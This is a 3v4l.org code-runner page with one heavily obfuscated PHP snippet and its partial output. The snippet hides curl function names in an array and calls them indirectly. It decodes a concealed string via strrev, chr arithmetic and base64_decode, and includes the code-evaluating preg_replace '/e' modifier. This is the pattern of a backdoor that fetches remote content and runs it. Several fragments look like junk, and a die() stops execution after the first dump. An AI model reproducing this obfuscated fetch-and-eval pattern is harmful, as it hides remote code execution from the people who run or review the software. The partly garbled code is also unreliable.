3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $vars = array( '28', 'chr', //1 -- x + 3 'curl', 'init', 'setopt', 'exec', // 5 'close', 'strtoupper', 'strrev', 'opt', 'timeout', 'refsnartnruter', '_', 'preg_replace', 'preg_split', 'base64_decode', "/mix../mixe", //16 ? '/mixed', "array_map", // 'implode', //19 3, 5, 7, 11, 13, 17, 19, 23, 'array_push', 'curl_init' ); function xvars($n) { global $vars; $n+= 19; return ($n > 19) ? chr($n) : ''; } $x = array( '(( $vars[15] = $vars[ $vars[0] ]( $vars[15]( strrev( implode( array_map("xvars", preg_split( "/[\D]+/", preg_replace( "/vars/", "+", ${$vars[5][1]}[ $vars[22] -1 ] .${$vars[5][1]}[ $vars[22] +0 ] .${$vars[5][1]}[ $vars[22] +1 ] )) ) ) ) ) ))?0:0 )', '(( $vars[ $vars[0]-- ]( $vars[15],CURLOPT_TIMEOUT , 32 ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15],CURLOPT_RETURNTRANSFER , 1 ))?0:0)', '(( $zvars = $vars[ $vars[0] ]( $vars[15] ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15] ))?0:0)', '.strtoupper($vars[0]);', '->$vars[100]($vars[85].$vars[52]($vars[80]($vars[38].$vars[66]($vars[52],$vars[80]($vars[34]($vars[63]($vars[91]($vars[55].$vars[97],$vars[38])$vars[31],$vars[70]($vars[98]($vars[54])$vars[32].$vars[79].$vars[86],$vars[51]($vars[90])$vars[78].$vars[102]($vars[51].$vars[68].$vars[61].$vars[98]($vars[89]())', '(($vars[68].$vars[70]($vars[97]($vars[38].$vars[52])$vars[71]($vars[28])$vars[46])$vars[53])$vars[78].$vars[100],$vars[34]($vars[64],$vars[71]."curl_init")$vars[51].$vars[90].$vars[80]($vars[89],$vars[34]($vars[68].$vars[71].$vars[91]($vars[38].$vars[86])$vars[80].$vars[89])$vars[30],$vars[68],))', '(($vars[70])$vars[102])$vars[71])$vars[68],$vars[78])$vars[99].$vars[96])$vars[52].$vars[81].$vars[98],$vars[100]($vars[52],$vars[79],$vars[96]($vars[89])$vars[52].$vars[79])$vars[96])$vars[101].$vars[31].$vars[57]($vars[99].$vars[92]($vars[49]($vars[80]("curl_init",$vars[63])$vars[53]($vars[78]()' ); $i = $q = 0; while ($i < 5) { ($i != 2) ? ($vars[$vars[0] - $q]($vars, "curl_" . $vars[3 + $q]) && $q++) : 0; //step 0,1,3,4 $vars[0]++; var_dump(${$vars[16][3]}[0 + $i] . $x[5]); die(); preg_replace("/mix../mix", ${$vars[16][3]}[0 + $i] . $x[5], "/mixed"); $i++;; } echo ($zvars); ?>
based on 4dV4X
Output for 4.3.0 - 7.2.0
string(269) "(( $vars[15] = $vars[ $vars[0] ]( $vars[15]( strrev( implode( array_map("xvars", preg_split( "/[\D]+/", preg_replace( "/vars/", "+", ${$vars[5][1]}[ $vars[22] -1 ] .${$vars[5][1]}[ $vars[22] +0 ] .${$vars[5][1]}[ $vars[22] +1 ] )) ) ) ) ) ))?0:0 ).strtoupper($vars[0]);"